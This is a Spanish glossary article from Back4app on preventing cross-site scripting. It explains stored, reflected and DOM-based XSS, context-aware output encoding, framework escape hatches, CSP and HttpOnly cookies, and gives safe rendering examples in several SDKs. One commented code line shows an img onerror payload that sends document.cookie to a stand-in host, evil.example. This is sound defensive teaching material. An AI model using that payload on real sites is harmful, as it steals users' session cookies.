---
term: 'Prevención de Cross-Site Scripting (XSS)'
seoTitle: 'Prevención de XSS: tipos, codificación de salida, CSP, frameworks'
headline: '¿Qué es el Cross-Site Scripting (XSS) y cómo se previene?'
slug: prevencion-de-xss
category: auth-security
shortDefinition: 'El cross-site scripting es un ataque que inyecta scripts maliciosos en páginas confiables; prevenirlo exige codificar la salida según cada contexto.'
relatedTerms:
  - cors-cross-origin-resource-sharing
  - json-web-token-jwt
  - data-encryption-at-rest-transit
  - api-key-security
contrastsWith:
  - cors-cross-origin-resource-sharing
aboutTerms:
  - 'XSS Almacenado (Stored XSS)'
  - 'XSS Reflejado (Reflected XSS)'
  - 'XSS Basado en DOM'
  - 'Content Security Policy (CSP)'
faq:
  - question: '¿Qué es el XSS en términos simples?'
    answer: 'Un atacante cuela su propio JavaScript dentro de una página que otras personas ven — mediante un comentario, un link manipulado, un campo de perfil — y el navegador de las víctimas lo ejecuta como si el propio sitio lo hubiera escrito. Desde ahí, el script puede hacer todo lo que la víctima puede: leer sus datos, actuar en su nombre, robar su sesión.'
  - question: '¿Cuál es un ejemplo de ataque XSS?'
    answer: 'Un campo de comentarios que no codifica la salida: envía una etiqueta de script como comentario y se ejecuta en el navegador de cada lector. Los payloads de prueba de concepto disparan un alert; los reales envían al atacante la cookie de sesión o los tokens de la víctima.'
  - question: '¿Cuál es la diferencia entre XSS almacenado, reflejado y basado en DOM?'
    answer: 'Por dónde viaja el payload. El XSS almacenado vive en la base de datos y golpea a todo el que ve la página. El reflejado viaja en una URL manipulada y golpea a quien hace clic en ella. El basado en DOM ocurre por completo en el JavaScript del cliente — el dato del atacante fluye de una fuente como el fragmento de la URL a un sink como innerHTML, a veces sin tocar nunca el servidor.'
  - question: '¿Cómo se previene el XSS?'
    answer: 'En este orden: codificación de salida según el contexto al momento de renderizar (la defensa primaria), validación de entrada como capa de apoyo, una biblioteca de sanitización cuando los usuarios pueden escribir HTML de verdad, content types correctos en las APIs, una Content Security Policy estricta como red de seguridad y cookies HttpOnly para limitar lo que un ataque exitoso puede robar.'
  - question: 'Codificación de salida, validación de entrada, sanitización — ¿cuál usar?'
    answer: 'Trabajos distintos. La codificación convierte caracteres en la salida para que el dato se muestre como texto en lugar de ejecutarse — la defensa primaria, elegida por contexto. La validación rechaza entrada malformada al llegar — útil para la corrección, insuficiente para la seguridad, porque el peligro depende de dónde aterriza el dato. La sanitización elimina construcciones inseguras del HTML que sí piensas renderizar como HTML.'
  - question: '¿La Content Security Policy detiene el XSS?'
    answer: 'Una CSP estricta, basada en nonces, bloquea scripts inline inyectados incluso cuando el bug existe — defensa en profundidad genuina. Pero es el respaldo, no la corrección: las políticas estilo allowlist son ampliamente evadibles, y la guía de OWASP es explícita en que la CSP nunca debe ser la defensa primaria.'
  - question: '¿React y Vue previenen el XSS automáticamente?'
    answer: 'En gran parte — la interpolación de plantillas escapa los valores automáticamente, lo que jubiló clases enteras de bugs. Pero cada framework trae válvulas de escape que reintroducen el XSS tal cual: dangerouslySetInnerHTML en React, v-html en Vue, las APIs que saltan la sanitización en Angular — más las URLs javascript: en bindings de href, que el auto-escape nunca cubrió.'
  - question: '¿Cuál es la diferencia entre XSS y CSRF?'
    answer: 'La capacidad. El XSS ejecuta código del atacante en el navegador de la víctima — de ida y vuelta: puede leer respuestas y hacer todo lo que el usuario hace. El CSRF solo engaña al navegador para enviar solicitudes forjadas — de ida, sin lectura, y dependiente de una sesión activa. El XSS es la clase más severa, y un bug de XSS puede derrotar las defensas contra CSRF.'
codeLanguages: [javascript, dart, swift, kotlin]
externalAuthorities:
  - name: 'OWASP Cross Site Scripting Prevention Cheat Sheet'
    url: 'https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html'
  - name: 'Cross-site scripting — PortSwigger Web Security Academy'
    url: 'https://portswigger.net/web-security/cross-site-scripting'
  - name: 'Cross-site scripting (XSS) — MDN Web Docs'
    url: 'https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/XSS'
  - name: 'CWE-79 — Improper Neutralization of Input During Web Page Generation'
    url: 'https://cwe.mitre.org/data/definitions/79.html'
  - name: 'Cross-site scripting — Wikipedia'
    url: 'https://en.wikipedia.org/wiki/Cross-site_scripting'
cta:
  title: 'Almacena crudo, renderiza seguro'
  text: 'Back4app almacena el contenido de tus usuarios exactamente como fue escrito y lo sirve por APIs JSON con content types correctos — la disciplina de codificar en la salida queda en tu UI, donde ACLs y CLPs ya limitan lo que cualquier script inyectado podría alcanzar.'
  linkText: 'Empieza gratis'
  linkUrl: 'https://www.back4app.com/signup'
author: 'Back4app Engineering'
publishedDate: '2026-09-04'
translationKey: cross-site-scripting-xss-prevention
---

**El cross-site scripting es un ataque que inyecta scripts maliciosos en páginas confiables; prevenirlo exige codificar la salida según cada contexto.** El navegador es víctima de su propia confianza: un script que llega dentro de una página desde un origen legítimo corre con todos los poderes de esa página — sesión, storage, cada acción que el usuario puede ejecutar. Tres décadas después, el [CWE-79](https://cwe.mitre.org/data/definitions/79.html) sigue encabezando los rankings de debilidades más peligrosas, porque la causa raíz se comete una plantilla a la vez: entrada no confiable que llega a la salida sin codificación.

## Puntos clave

| Pregunta | Respuesta |
| --- | --- |
| Los tres tipos | Almacenado (en la base) · reflejado (en la URL) · basado en DOM (en el JS del cliente) |
| La defensa primaria | **Codificación de salida** según el contexto — al renderizar, por destino |
| La regla que todos invierten | Valida por corrección; **codifica por seguridad** — la validación sola no alcanza |
| Frameworks | Auto-escape por defecto — hasta la válvula de escape (`v-html`, `dangerouslySetInnerHTML`) |
| Las redes de seguridad | CSP estricta · Trusted Types · cookies HttpOnly — mitigación, no corrección |

## Una línea vulnerable

```js
// El bug — el dato del usuario encuentra un sink de HTML
commentEl.innerHTML = comment.text;
// Payload que alguien terminará enviando:
//   <img src=x onerror="fetch('https://evil.example/?c='+document.cookie)">
// El navegador de cada lector lo ejecuta, con la sesión del lector.

// La corrección — mismo dato, contexto de texto
commentEl.textContent = comment.text;   // el markup se muestra; nunca se ejecuta
```

La disciplina detrás de esa corrección — almacenar crudo, renderizar seguro — a lo largo del stack:

**JavaScript:**

```javascript
// JavaScript / Node.js — Back4app JS SDK + browser
// Store RAW, render SAFE — encoding happens at output, not at save
const comment = new Parse.Object('Comment');
comment.set('text', userInput); // saved as-is: O'Brien, 1 < 2, all fine
await comment.save();

// Rendering: textContent treats it as text — markup never executes
commentEl.textContent = comment.get('text'); // safe by construction
// commentEl.innerHTML = comment.get('text'); // ← the XSS sink
```

**Flutter:**

```dart
// Flutter / Dart — Back4app Flutter SDK
// Store RAW, render SAFE — Flutter's Text() treats data as text, not markup
final comment = ParseObject('Comment')..set('text', userInput);
await comment.save(); // saved as-is — no encoding at write time

// Text() cannot execute markup — XSS needs an HTML context to exist
Text(comment.get<String>('text') ?? '');
// Danger returns with WebViews: never loadHtmlString() raw user content
```

**Swift:**

```swift
// iOS / Swift — Back4app Swift SDK
// Store RAW, render SAFE — UILabel treats data as text, not markup
var comment = Comment()
comment.text = userInput
try await comment.save() // saved as-is — no encoding at write time

label.text = comment.text // safe: text, not HTML
// Danger returns with WKWebView: never loadHTMLString() raw user content
```

**Kotlin:**

```kotlin
// Android / Kotlin — Back4app Android SDK
// Store RAW, render SAFE — TextView treats data as text, not markup
val comment = ParseObject("Comment")
comment.put("text", userInput)
comment.save() // saved as-is — no encoding at write time

textView.text = comment.getString("text") // safe: text, not HTML
// Danger returns with WebViews: never loadData() with raw user content
```

## XSS almacenado vs. reflejado vs. basado en DOM

| | Almacenado (persistente) | Reflejado | Basado en DOM |
| --- | --- | --- | --- |
| El payload vive | En tu base de datos | En una URL manipulada | En el flujo de datos del cliente |
| Víctimas | Todo el que ve la página | Quien hace clic en el link | Quien llega al estado de la página |
| El servidor lo ve | Sí — al escribir | Sí — devuelto en cada solicitud | **Muchas veces nunca** |
| Vector clásico | Comentarios, perfiles, mensajes | Ecos de búsqueda, páginas de error | `location.hash` → `innerHTML` |
| Consenso de severidad | El más peligroso | Dirigido, depende del link | Invisible para logs del servidor y WAFs |

```mermaid
flowchart LR
  accTitle: Cómo los tres tipos de XSS entregan un payload al navegador de la víctima
  accDescr: La entrada del atacante llega al navegador de la víctima por tres caminos. El XSS almacenado se guarda en la base de datos y se sirve a todos los visitantes. El XSS reflejado se devuelve como eco desde una solicitud con URL manipulada. El XSS basado en DOM fluye de una fuente del lado del cliente directo a un sink peligroso, sin necesariamente llegar al servidor. Los tres terminan con el script ejecutándose con todos los privilegios de la página.
  A["Entrada del atacante"] -->|"guardada: comentario, perfil"| DB[("Base de datos")] -->|"servida a todos los visitantes"| S["Navegador de la víctima"]
  A -->|"URL manipulada, devuelta como eco"| R["Respuesta del servidor"] --> S
  A -->|"fuente del cliente → sink<br/>(hash → innerHTML)"| D["JS de la propia página"] --> S
  S --> P["El script corre con la sesión,<br/>el storage y los poderes de la página"]
```

## La defensa primaria: codificación de salida según el contexto

La regla de fondo, dicha con claridad ya que las autoridades del tema la entierran: **la misma string es segura en un lugar y letal en otro** — por eso la codificación ocurre en la *salida*, por *destino*, y por eso la validación de entrada sola siempre falla: al momento de la entrada no conoces el contexto, las blocklists pierden contra los trucos de encoding, y los datos legítimos (`O'Brien`, `1 < 2`) se rompen bajo la validación-como-seguridad.

| Contexto de salida | Codifica | El error común |
| --- | --- | --- |
| Cuerpo del HTML | Codificar como entidades `& < > " '` | Confiar en que "es solo texto" |
| Atributo HTML | Entidades + **siempre comillas** en el atributo | Atributos sin comillas — los espacios rompen el valor |
| String de JavaScript | Escape `\uXXXX`, vía serializador | Concatenar datos del usuario en JS inline |
| URL / href | Percent-encoding + **validar el scheme** | Las URLs `javascript:` pasan intactas la codificación HTML |
| Valor de CSS | Allowlists estrictas, solo valores de propiedad | Bloques de style controlados por el usuario |
| JSON en la página | Serializar como JSON + escapar `</script>` | Blobs de hidratación `window.__STATE__ = …` |

Cuando los usuarios escriben HTML legítimamente — rich text, markdown — la codificación lo destruiría; ese es el único trabajo de la sanitización: una biblioteca mantenida ([DOMPurify](https://github.com/cure53/DOMPurify)) elimina las construcciones ejecutables, y la salida debe usarse tal cual — volver a modificar una string sanitizada anula la sanitización.

## Frameworks: escapado por defecto, inseguro por la válvula de escape

Los frameworks modernos jubilaron el grueso del XSS clásico — los valores interpolados se escapan automáticamente. Dos cláusulas de letra chica mantienen vivo el bug. Primera: **todo framework trae un bypass**, y cada uno es un blanco de grep en el code review:

| Framework | Escapa por defecto | La válvula de escape |
| --- | --- | --- |
| React | Interpolación JSX | `dangerouslySetInnerHTML` |
| Vue | Plantillas `{{ }}` | `v-html` |
| Angular | Interpolación + sanitizador | `bypassSecurityTrustHtml` y hermanos |
| Svelte | Expresiones de plantilla | `{@html …}` |
| Plantillas de servidor | Modo auto-escape | Filtros `\| safe` / `\| raw` |

Segunda: **el auto-escape cubre solo el contexto del cuerpo HTML**: un `href` ligado a datos del usuario todavía ejecuta URLs `javascript:`, e incrustar en scripts inline todavía exige codificación de contexto JS. La respuesta en forma de flujo de trabajo: sanitiza antes de cualquier válvula de escape, valida el scheme de las URLs en links ligados a datos y agrega lint para las válvulas (`react/no-danger` y afines), para que las excepciones sigan siendo deliberadas.

## Defensa en profundidad: CSP, Trusted Types, HttpOnly

Las redes de seguridad, con su etiqueta honesta. Una **Content Security Policy estricta** bloquea scripts inline inyectados incluso cuando un bug llega a producción:

```text
Content-Security-Policy:
  script-src 'nonce-{random-per-response}' 'strict-dynamic';
  object-src 'none'; base-uri 'none'
```

Basada en nonces, no en allowlists — las allowlists de hosts son evadibles con la frecuencia suficiente para que el [cheat sheet de OWASP](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html) insista en que la CSP no debe ser tu defensa primaria. Despliégala primero en modo Report-Only. **Trusted Types** (`require-trusted-types-for 'script'`) va más allá para el XSS de DOM: los sinks peligrosos como `innerHTML` pasan a rechazar strings planas, forzando todo el HTML a través de una única política auditable. Y las **cookies HttpOnly** protegen exactamente una cosa — los scripts inyectados no pueden leer la cookie de sesión — lo cual importa porque los tokens en localStorage están a un `localStorage.getItem` de la exfiltración: la [guía de almacenamiento de JWT](/glossary/es/json-web-token-jwt/) y este artículo son el mismo argumento visto desde dos lados. Ninguna de las tres corrige el bug; las tres encogen lo que vale.

## La parte que le toca al backend

El XSS suena a problema de frontend; una porción le pertenece a la API. **Almacena crudo, codifica en la salida** — codificar al escribir corrompe datos, genera doble codificación en las idas y vueltas y aun así falla en contextos que no previste. **Disciplina de content type**: las respuestas JSON declaran `Content-Type: application/json` más `X-Content-Type-Options: nosniff`, porque un parámetro reflejado en una respuesta que el navegador acepta olfatear como HTML *es* XSS con pasos extra. **Las páginas de error que hacen eco** de la URL o los parámetros son el sink reflejado clásico que nadie revisa. Y la trampa vecina que merece una frase: renderizar la entrada del usuario como *plantilla*, y no como dato, escala más allá del XSS hacia la server-side template injection — la entrada del usuario es dato de plantilla, nunca código de plantilla.

## Casos de uso comunes

Dónde estas defensas se ganan el sueldo:

- **Comentarios, reseñas, mensajes** — territorio del XSS almacenado: codifica al renderizar, en todos los lugares donde aparecen.
- **Rich text y markdown** — el caso del HTML legítimo: sanitiza al renderizar, mantén el sanitizador actualizado.
- **Búsquedas, filtros, páginas de error** — territorio del reflejado: cualquier cosa que haga eco de datos de la solicitud los codifica.
- **SPAs que rutean por estado de la URL** — territorio del DOM: los datos de fragmento y de query nunca tocan `innerHTML` sin sanitizar.
- **WebViews móviles** — la superficie de XSS de la app nativa: nunca cargues contenido crudo del usuario como HTML.

## ¿Qué defensa va primero? Matriz de decisión

| Situación | Haz |
| --- | --- |
| Mostrar texto del usuario | Interpolación del framework / `textContent` — nada más sofisticado |
| Renderizar HTML escrito por el usuario | Sanitizar con DOMPurify, usar la salida tal cual |
| Dato del usuario en un link | Validar allowlist de schemes (`https:`), luego codificar |
| JSON/estado inline en páginas | Serializar como JSON con escape seguro para script |
| Llevar cualquiera de lo anterior a producción | CSP estricta con nonces en Report-Only, luego aplicar |
| Auditar código existente | Grep a las válvulas de escape y los sinks; lint; probar payloads por contexto |

## Limitaciones y trade-offs

- **La codificación debe ser exacta para el contexto.** Codificar como HTML un dato ligado a una URL o a un bloque de script es el patrón de la falsa seguridad — defensa correcta, contexto equivocado, sigue siendo explotable.
- **Los sanitizadores son dependencias.** Los bypasses se publican; un sanitizador fijado y desactualizado se convierte, en silencio, en una vulnerabilidad con changelog.
- **La CSP cuesta ingeniería.** Los nonces tocan cada etiqueta de script y cada handler inline; adoptar CSP estricta en una base legada es un proyecto — por eso existe Report-Only.
- **Trusted Types tiene bordes de adopción.** La aplicación la lidera Chromium; trátala como endurecimiento encima de la codificación, no como garantía de portabilidad.
- **Los WAFs no son la respuesta.** Los filtros por coincidencia de patrones atrapan payloads conocidos y pierden encodings y mutaciones; la propia guía de OWASP los llama poco confiables para el XSS.

## Prevención de XSS en Back4app

Back4app es una plataforma open-source de Backend as a Service (BaaS) que combina base de datos gestionada, APIs REST y GraphQL generadas automáticamente, autenticación, almacenamiento de archivos y funciones serverless con Cloud Code. La porción del backend en la disciplina ya viene integrada: los datos se almacenan crudos y se devuelven por APIs JSON con content types correctos — nunca renderizados como HTML en el servidor — de modo que la responsabilidad de codificar en la salida queda limpia en tu capa de UI, donde las pestañas de código de arriba muestran el patrón almacenar-crudo/renderizar-seguro por plataforma. Los controles de radio de daño ya están encendidos: las sesiones viajan en tokens revocables en lugar de credenciales de larga vida en localStorage, y las [ACLs](/glossary/es/listas-de-control-de-acceso-acl/) con permisos a nivel de clase delimitan lo que cualquier script ejecutándose como un usuario podría tocar — un payload inyectado hereda los permisos de la víctima, no la base de datos. Cloud Code es el lugar correcto para la higiene restante del lado del servidor: validar campos de URL contra allowlists de schemes y sanitizar los campos de rich text una sola vez, en el `beforeSave`, para que cada cliente renderice el mismo contenido ya defendido.
